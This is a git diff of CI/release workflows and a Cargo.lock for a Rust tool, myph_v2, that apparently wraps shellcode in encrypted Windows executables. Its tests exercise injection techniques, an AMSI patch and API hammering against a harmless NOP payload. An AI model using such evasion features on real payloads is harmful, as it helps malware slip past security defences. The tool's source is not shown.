+          key: ${{ runner.os }}-cargo-build-target-${{ hashFiles('**/Cargo.lock', 'build.rs', 'src/internals/templates/**/*.rs') }}
+
+      - name: Run clippy
+        run: cargo clippy --all-targets --all-features -- -D warnings
+
+  build:
+    name: Build
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Install Rust toolchain
+        uses: dtolnay/rust-toolchain@stable
+        with:
+          toolchain: ${{ env.RUST_VERSION }}
+
+      - name: Cache cargo registry
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/registry
+          key: ${{ runner.os }}-cargo-registry-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo index
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/git
+          key: ${{ runner.os }}-cargo-git-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo build
+        uses: actions/cache@v4
+        with:
+          path: target
+          key: ${{ runner.os }}-cargo-build-target-${{ hashFiles('**/Cargo.lock', 'build.rs', 'src/internals/templates/**/*.rs') }}
+
+      - name: Build project
+        run: cargo build --release --verbose
+
+  windows-integration-test:
+    name: Windows Integration Tests
+    runs-on: windows-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Install Rust toolchain
+        uses: dtolnay/rust-toolchain@stable
+        with:
+          toolchain: ${{ env.RUST_VERSION }}
+          targets: x86_64-pc-windows-gnu
+
+      - name: Install MinGW-w64
+        run: choco install mingw -y
+
+      - name: Cache cargo registry
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/registry
+          key: ${{ runner.os }}-cargo-registry-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo index
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/git
+          key: ${{ runner.os }}-cargo-git-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo build
+        uses: actions/cache@v4
+        with:
+          path: target
+          key: ${{ runner.os }}-cargo-build-target-${{ hashFiles('**/Cargo.lock', 'build.rs', 'src/internals/templates/**/*.rs') }}
+
+      - name: Run Windows-specific Integration Tests
+        run: |
+          echo "=== Running Windows Integration Tests ==="
+          cargo test --verbose test_resolve_kernel32_integrity
+          cargo test --verbose test_resolve_function_address_from_exports
+          cargo test --verbose test_unicode_case_folding_dll_names
+          cargo test --verbose test_forwarded_exports_resolution
+          cargo test --verbose test_resolve_with_encrypted_dll_name
+          echo "=== All Windows Integration Tests Completed ==="
+
+      - name: Build release binary
+        run: cargo build --release --verbose
+
+      - name: Run Windows E2E Tests
+        shell: pwsh
+        run: |
+          echo "=== Running Windows End-to-End Tests ==="
+          
+          # Create test directory
+          New-Item -ItemType Directory -Force -Path e2e-test | Out-Null
+          
+          # Create msf.raw with NOP instructions (8 NOPs + RET)
+          $nopShellcode = @(0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xC3)
+          [System.IO.File]::WriteAllBytes("e2e-test\msf.raw", $nopShellcode)
+          Write-Host "✓ Created msf.raw with NOP shellcode ($($nopShellcode.Length) bytes)"
+          
+          Set-Location e2e-test
+          
+          # Test 1: AES encryption with create-fiber
+          Write-Host ""
+          Write-Host "=== Test 1: AES encryption with create-fiber ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_aes_fiber.exe -e aes -t create-fiber
+          if (Test-Path "test_aes_fiber.exe") {
+            Write-Host "✓ Generated test_aes_fiber.exe"
+            $env:RUST_BACKTRACE=1
+            & .\test_aes_fiber.exe
+            if ($LASTEXITCODE -eq 0) {
+              Write-Host "✓ test_aes_fiber.exe executed successfully"
+            } else {
+              Write-Host "✗ test_aes_fiber.exe failed with exit code $LASTEXITCODE"
+              exit 1
+            }
+          } else {
+            Write-Host "✗ Failed to generate test_aes_fiber.exe"
+            exit 1
+          }
+          
+          # Test 2: XOR encryption with enum-calendar
+          Write-Host ""
+          Write-Host "=== Test 2: XOR encryption with enum-calendar ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_xor_enum.exe -e xor -t enum-calendar
+          if (Test-Path "test_xor_enum.exe") {
+            Write-Host "✓ Generated test_xor_enum.exe"
+            $env:RUST_BACKTRACE=1
+            & .\test_xor_enum.exe
+            if ($LASTEXITCODE -eq 0) {
+              Write-Host "✓ test_xor_enum.exe executed successfully"
+            } else {
+              Write-Host "✗ test_xor_enum.exe failed with exit code $LASTEXITCODE"
+              exit 1
+            }
+          } else {
+            Write-Host "✗ Failed to generate test_xor_enum.exe"
+            exit 1
+          }
+          
+          # Test 3: ChaCha20 encryption with set-timer
+          Write-Host ""
+          Write-Host "=== Test 3: ChaCha20 encryption with set-timer ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_chacha_timer.exe -e chacha20 -t set-timer
+          if (Test-Path "test_chacha_timer.exe") {
+            Write-Host "✓ Generated test_chacha_timer.exe"
+            $env:RUST_BACKTRACE=1
+            & .\test_chacha_timer.exe
+            if ($LASTEXITCODE -eq 0) {
+              Write-Host "✓ test_chacha_timer.exe executed successfully"
+            } else {
+              Write-Host "✗ test_chacha_timer.exe failed with exit code $LASTEXITCODE"
+              exit 1
+            }
+          } else {
+            Write-Host "✗ Failed to generate test_chacha_timer.exe"
+            exit 1
+          }
+          
+          # Test 4: Blowfish encryption with syscall
+          Write-Host ""
+          Write-Host "=== Test 4: Blowfish encryption with syscall ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_blowfish_syscall.exe -e blowfish -t syscall
+          if (Test-Path "test_blowfish_syscall.exe") {
+            Write-Host "✓ Generated test_blowfish_syscall.exe"
+            $env:RUST_BACKTRACE=1
+            & .\test_blowfish_syscall.exe
+            if ($LASTEXITCODE -eq 0) {
+              Write-Host "✓ test_blowfish_syscall.exe executed successfully"
+            } else {
+              Write-Host "✗ test_blowfish_syscall.exe failed with exit code $LASTEXITCODE"
+              exit 1
+            }
+          } else {
+            Write-Host "✗ Failed to generate test_blowfish_syscall.exe"
+            exit 1
+          }
+          
+          # Test 5: AES with API hammering
+          Write-Host ""
+          Write-Host "=== Test 5: AES with API hammering ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_aes_hammer.exe -e aes -t create-fiber --with-api-hammering
+          if (Test-Path "test_aes_hammer.exe") {
+            Write-Host "✓ Generated test_aes_hammer.exe"
+            $env:RUST_BACKTRACE=1
+            & .\test_aes_hammer.exe
+            if ($LASTEXITCODE -eq 0) {
+              Write-Host "✓ test_aes_hammer.exe executed successfully"
+            } else {
+              Write-Host "✗ test_aes_hammer.exe failed with exit code $LASTEXITCODE"
+              exit 1
+            }
+          } else {
+            Write-Host "✗ Failed to generate test_aes_hammer.exe"
+            exit 1
+          }
+          
+          # Test 6: XOR with AMSI patch
+          Write-Host ""
+          Write-Host "=== Test 6: XOR with AMSI patch ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_xor_amsi.exe -e xor -t enum-calendar --with-amsi-patch
+          if (Test-Path "test_xor_amsi.exe") {
+            Write-Host "✓ Generated test_xor_amsi.exe"
+            $env:RUST_BACKTRACE=1
+            & .\test_xor_amsi.exe
+            if ($LASTEXITCODE -eq 0) {
+              Write-Host "✓ test_xor_amsi.exe executed successfully"
+            } else {
+              Write-Host "✗ test_xor_amsi.exe failed with exit code $LASTEXITCODE"
+              exit 1
+            }
+          } else {
+            Write-Host "✗ Failed to generate test_xor_amsi.exe"
+            exit 1
+          }
+          
+          # Test 7: ChaCha20 with string encryption
+          Write-Host ""
+          Write-Host "=== Test 7: ChaCha20 with string encryption ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_chacha_strenc.exe -e chacha20 -t set-timer --with-string-encryption
+          if (Test-Path "test_chacha_strenc.exe") {
+            Write-Host "✓ Generated test_chacha_strenc.exe"
+            $env:RUST_BACKTRACE=1
+            & .\test_chacha_strenc.exe
+            if ($LASTEXITCODE -eq 0) {
+              Write-Host "✓ test_chacha_strenc.exe executed successfully"
+            } else {
+              Write-Host "✗ test_chacha_strenc.exe failed with exit code $LASTEXITCODE"
+              exit 1
+            }
+          } else {
+            Write-Host "✗ Failed to generate test_chacha_strenc.exe"
+            exit 1
+          }
+          
+          # Test 8: XOR with dynamic function resolver (XOR works with dynamic resolver)
+          Write-Host ""
+          Write-Host "=== Test 8: XOR with dynamic function resolver ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_xor_dynres.exe -e xor -t create-fiber --with-dynamic-function-resolver
+          if (Test-Path "test_xor_dynres.exe") {
+            Write-Host "✓ Generated test_xor_dynres.exe"
+            $env:RUST_BACKTRACE=1
+            & .\test_xor_dynres.exe
+            if ($LASTEXITCODE -eq 0) {
+              Write-Host "✓ test_xor_dynres.exe executed successfully"
+            } else {
+              Write-Host "✗ test_xor_dynres.exe failed with exit code $LASTEXITCODE"
+              exit 1
+            }
+          } else {
+            Write-Host "✗ Failed to generate test_xor_dynres.exe"
+            exit 1
+          }
+          
+          # Test 9: DLL generation
+          Write-Host ""
+          Write-Host "=== Test 9: DLL generation ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_output.dll -b dll -e aes -t create-fiber
+          if (Test-Path "test_output.dll") {
+            Write-Host "✓ Generated test_output.dll"
+          } else {
+            Write-Host "✗ Failed to generate test_output.dll"
+            exit 1
+          }
+          
+          # Test 10: Combined features (API hammering + AMSI patch)
+          Write-Host ""
+          Write-Host "=== Test 10: Combined features (API hammering + AMSI patch) ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_combined.exe -e aes -t enum-calendar --with-api-hammering --with-amsi-patch
+          if (Test-Path "test_combined.exe") {
+            Write-Host "✓ Generated test_combined.exe"
+            $env:RUST_BACKTRACE=1
+            & .\test_combined.exe
+            if ($LASTEXITCODE -eq 0) {
+              Write-Host "✓ test_combined.exe executed successfully"
+            } else {
+              Write-Host "✗ test_combined.exe failed with exit code $LASTEXITCODE"
+              exit 1
+            }
+          } else {
+            Write-Host "✗ Failed to generate test_combined.exe"
+            exit 1
+          }
+          
+          Write-Host ""
+          Write-Host "=== All Windows E2E Tests Passed ==="
+          Write-Host "✓ Tested 4 encryption methods (AES, XOR, ChaCha20, Blowfish)"
+          Write-Host "✓ Tested 4 techniques (create-fiber, enum-calendar, set-timer, syscall)"
+          Write-Host "✓ Tested API Hammering feature"
+          Write-Host "✓ Tested AMSI Patch feature"
+          Write-Host "✓ Tested String Encryption feature"
+          Write-Host "✓ Tested Dynamic Function Resolver feature"
+          Write-Host "✓ Tested DLL generation"
+          Write-Host "✓ Tested combined features"
+          Write-Host "✓ All generated binaries executed successfully without crashes"

diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
@@ -0,0 +1,57 @@
+name: Release
+
+on:
+  push:
+    tags:
+      - 'v*'
+
+env:
+  CARGO_TERM_COLOR: always
+  RUST_VERSION: 1.85.0
+
+permissions:
+  contents: write
+
+jobs:
+  create-release:
+    name: Create Release
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Install Rust toolchain
+        uses: dtolnay/rust-toolchain@stable
+        with:
+          toolchain: ${{ env.RUST_VERSION }}
+
+      - name: Cache cargo registry
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/registry
+          key: ${{ runner.os }}-cargo-registry-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo index
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/git
+          key: ${{ runner.os }}-cargo-git-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo build
+        uses: actions/cache@v4
+        with:
+          path: target
+          key: ${{ runner.os }}-cargo-build-target-release-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Build release binary
+        run: cargo build --release --verbose
+
+      - name: Create GitHub Release
+        uses: softprops/action-gh-release@v2
+        with:
+          files: target/release/myph_v2
+          draft: false
+          prerelease: false
+          generate_release_notes: true
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

diff --git a/.gitignore b/.gitignore
@@ -0,0 +1,22 @@
+# Cargo build artifacts
+/target/
+
+# IDE files
+.vscode/
+.idea/
+*.swp
+*.swo
+*~
+
+# OS files
+.DS_Store
+Thumbs.db
+
+# E2E test artifacts
+e2e-test/
+
+# Test files
+test_output*
+test_shellcode.raw
+*.raw
+*.backup

diff --git a/.tool-versions b/.tool-versions
@@ -0,0 +1 @@
+rust 1.85.0

diff --git a/Cargo.lock b/Cargo.lock
@@ -0,0 +1,1094 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 4
+
+[[package]]
+name = "aes"
+version = "0.8.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
+dependencies = [
+ "cfg-if",
+ "cipher",
+ "cpufeatures",
+]
+
+[[package]]
+name = "android_system_properties"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "anstream"
+version = "0.6.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "43d5b281e737544384e969a5ccad3f1cdd24b48086a0fc1b2a5262a26b8f4f4a"
+dependencies = [
+ "anstyle",
+ "anstyle-parse",
+ "anstyle-query",
+ "anstyle-wincon",
+ "colorchoice",
+ "is_terminal_polyfill",
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle"
+version = "1.0.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5192cca8006f1fd4f7237516f40fa183bb07f8fbdfedaa0036de5ea9b0b45e78"
+
+[[package]]
+name = "anstyle-parse"
+version = "0.2.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2"
+dependencies = [
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle-query"
+version = "1.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc"
+dependencies = [
+ "windows-sys",
+]
+
+[[package]]
+name = "anstyle-wincon"
+version = "3.0.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d"
+dependencies = [
+ "anstyle",
+ "once_cell_polyfill",
+ "windows-sys",
+]
+
+[[package]]
+name = "array-init"
+version = "2.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3d62b7694a562cdf5a74227903507c56ab2cc8bdd1f781ed5cb4cf9c9f810bfc"
+
+[[package]]
+name = "autocfg"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
+
+[[package]]
+name = "base64"
+version = "0.22.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
+
+[[package]]
+name = "binrw"
+version = "0.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "81419ff39e6ed10a92a7f125290859776ced35d9a08a665ae40b23e7ca702f30"
+dependencies = [
+ "array-init",
+ "binrw_derive",
+ "bytemuck",
+]
+
+[[package]]
+name = "binrw_derive"
+version = "0.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "376404e55ec40d0d6f8b4b7df3f87b87954bd987f0cf9a7207ea3b6ea5c9add4"
+dependencies = [
+ "either",
+ "owo-colors",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "bitflags"
+version = "1.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
+
+[[package]]
+name = "bitflags"
+version = "2.10.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
+dependencies = [
+ "serde_core",
+]
+
+[[package]]
+name = "block-buffer"
+version = "0.10.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
+dependencies = [
+ "generic-array",
+]
+
+[[package]]
+name = "block-padding"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93"
+dependencies = [
+ "generic-array",
+]
+
+[[package]]
+name = "blowfish"
+version = "0.9.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7"
+dependencies = [
+ "byteorder",
+ "cipher",
+]
+
+[[package]]
+name = "bumpalo"
+version = "3.19.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5dd9dc738b7a8311c7ade152424974d8115f2cdad61e8dab8dac9f2362298510"
+
+[[package]]
+name = "bytemuck"
+version = "1.24.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1fbdf580320f38b612e485521afda1ee26d10cc9884efaaa750d383e13e3c5f4"
+
+[[package]]
+name = "byteorder"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
+
+[[package]]
+name = "camellia"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3264e2574e9ef2b53ce6f536dea83a69ac0bc600b762d1523ff83fe07230ce30"
+dependencies = [
+ "byteorder",
+ "cipher",
+]
+
+[[package]]
+name = "cbc"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6"
+dependencies = [
+ "cipher",
+]
+
+[[package]]
+name = "cc"
+version = "1.2.51"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7a0aeaff4ff1a90589618835a598e545176939b97874f7abc7851caa0618f203"
+dependencies = [
+ "find-msvc-tools",
+ "shlex",
+]
+
+[[package]]
+name = "cfg-if"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
+
+[[package]]
+name = "chacha20"
+version = "0.9.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818"
+dependencies = [
+ "cfg-if",
+ "cipher",
+ "cpufeatures",
+]
+
+[[package]]
+name = "chrono"
+version = "0.4.42"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "145052bdd345b87320e369255277e3fb5152762ad123a901ef5c262dd38fe8d2"
+dependencies = [
+ "iana-time-zone",
+ "js-sys",
+ "num-traits",
+ "serde",
+ "wasm-bindgen",
+ "windows-link",
+]
+
+[[package]]
+name = "cipher"
+version = "0.4.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
+dependencies = [
+ "crypto-common",
+ "inout",
+]
+
+[[package]]
+name = "clap"
+version = "4.5.53"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c9e340e012a1bf4935f5282ed1436d1489548e8f72308207ea5df0e23d2d03f8"
+dependencies = [
+ "clap_builder",
+ "clap_derive",
+]
+
+[[package]]
+name = "clap_builder"
+version = "4.5.53"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d76b5d13eaa18c901fd2f7fca939fefe3a0727a953561fefdf3b2922b8569d00"
+dependencies = [
+ "anstream",
+ "anstyle",
+ "clap_lex",
+ "strsim",
+]
+
+[[package]]
+name = "clap_derive"
+version = "4.5.49"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2a0b5487afeab2deb2ff4e03a807ad1a03ac532ff5a2cee5d86884440c7f7671"
+dependencies = [
+ "heck",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "clap_lex"
+version = "0.7.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a1d728cc89cf3aee9ff92b05e62b19ee65a02b5702cff7d5a377e32c6ae29d8d"
+
+[[package]]
+name = "colorchoice"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75"
+
+[[package]]
+name = "core-foundation-sys"
+version = "0.8.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
+
+[[package]]
+name = "cpufeatures"
+version = "0.2.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "crypto-common"
+version = "0.1.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a"
+dependencies = [
+ "generic-array",
+ "typenum",
+]
+
+[[package]]
+name = "digest"
+version = "0.10.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
+dependencies = [
+ "block-buffer",
+ "crypto-common",
+]
+
+[[package]]
+name = "either"
+version = "1.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
+
+[[package]]
+name = "encoding_rs"
+version = "0.8.35"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3"
+dependencies = [
+ "cfg-if",
+]
+
+[[package]]
+name = "find-msvc-tools"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "645cbb3a84e60b7531617d5ae4e57f7e27308f6445f5abf653209ea76dec8dff"
+
+[[package]]
+name = "generic-array"
+version = "0.14.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
+dependencies = [
+ "typenum",
+ "version_check",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.2.16"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "wasi",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.3.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "r-efi",
+ "wasip2",
+]
+
+[[package]]
+name = "getset"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9cf0fc11e47561d47397154977bc219f4cf809b2974facc3ccb3b89e2436f912"
+dependencies = [
+ "proc-macro-error2",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "goblin"
+version = "0.10.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4db6758c546e6f81f265638c980e5e84dfbda80cfd8e89e02f83454c8e8124bd"
+dependencies = [
+ "log",
+ "plain",
+ "scroll",
+]
+
+[[package]]
+name = "heck"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
+
+[[package]]
+name = "iana-time-zone"
+version = "0.1.64"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "33e57f83510bb73707521ebaffa789ec8caf86f9657cad665b092b581d40e9fb"
+dependencies = [
+ "android_system_properties",
+ "core-foundation-sys",
+ "iana-time-zone-haiku",
+ "js-sys",
+ "log",
+ "wasm-bindgen",
+ "windows-core",
+]
+
+[[package]]
+name = "iana-time-zone-haiku"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
+dependencies = [
+ "cc",
+]
+
+[[package]]
+name = "inout"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
+dependencies = [
+ "block-padding",
+ "generic-array",
+]
+
+[[package]]
+name = "is_terminal_polyfill"
+version = "1.70.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695"
+
+[[package]]
+name = "itoa"
+version = "1.0.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2"
+
+[[package]]
+name = "js-sys"
+version = "0.3.83"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "464a3709c7f55f1f721e5389aa6ea4e3bc6aba669353300af094b29ffbdde1d8"
+dependencies = [
+ "once_cell",
+ "wasm-bindgen",
+]
+
+[[package]]
+name = "libc"
+version = "0.2.178"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "37c93d8daa9d8a012fd8ab92f088405fb202ea0b6ab73ee2482ae66af4f42091"
+
+[[package]]
+name = "lnk"
+version = "0.6.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "31e8628ddc5b5ce2b0411d8f389886d3bb265f91f9413662fa81fdd108a9ae33"
+dependencies = [
+ "binrw",
+ "bitflags 2.10.0",
+ "chrono",
+ "encoding_rs",
+ "getset",
+ "log",
+ "num-derive 0.4.2",
+ "num-traits",
+ "serde",
+ "serde_json",
+ "stability",
+ "substring",
+ "thiserror 2.0.17",
+ "uuid",
+ "winstructs",
+]
+
+[[package]]
+name = "log"
+version = "0.4.29"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
+
+[[package]]
+name = "memchr"
+version = "2.7.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
+
+[[package]]
+name = "myph_v2"
+version = "0.1.0"
+dependencies = [
+ "aes",
+ "base64",
+ "blowfish",
+ "camellia",
+ "cbc",
+ "chacha20",
+ "cipher",
+ "clap",
+ "goblin",
+ "lnk",
+ "ntapi",
+ "rand",
+ "sha2",
+ "twofish",
+ "uuid",
+ "winapi",
+]
+
+[[package]]
+name = "ntapi"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c70f219e21142367c70c0b30c6a9e3a14d55b4d12a204d897fbec83a0363f081"
+dependencies = [
+ "winapi",
+]
+
+[[package]]
+name = "num-derive"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 1.0.109",
+]
+
+[[package]]
+name = "num-derive"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "num-traits"
+version = "0.2.19"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
+dependencies = [
+ "autocfg",
+]
+
+[[package]]
+name = "once_cell"
+version = "1.21.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
+
+[[package]]
+name = "once_cell_polyfill"
+version = "1.70.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe"
+
+[[package]]
+name = "owo-colors"
+version = "4.2.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9c6901729fa79e91a0913333229e9ca5dc725089d1c363b2f4b4760709dc4a52"
+
+[[package]]
+name = "plain"
+version = "0.2.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6"
+
+[[package]]
+name = "ppv-lite86"
+version = "0.2.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
+dependencies = [
+ "zerocopy",
+]
+
+[[package]]
+name = "proc-macro-error-attr2"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5"
+dependencies = [
+ "proc-macro2",
+ "quote",
+]
+
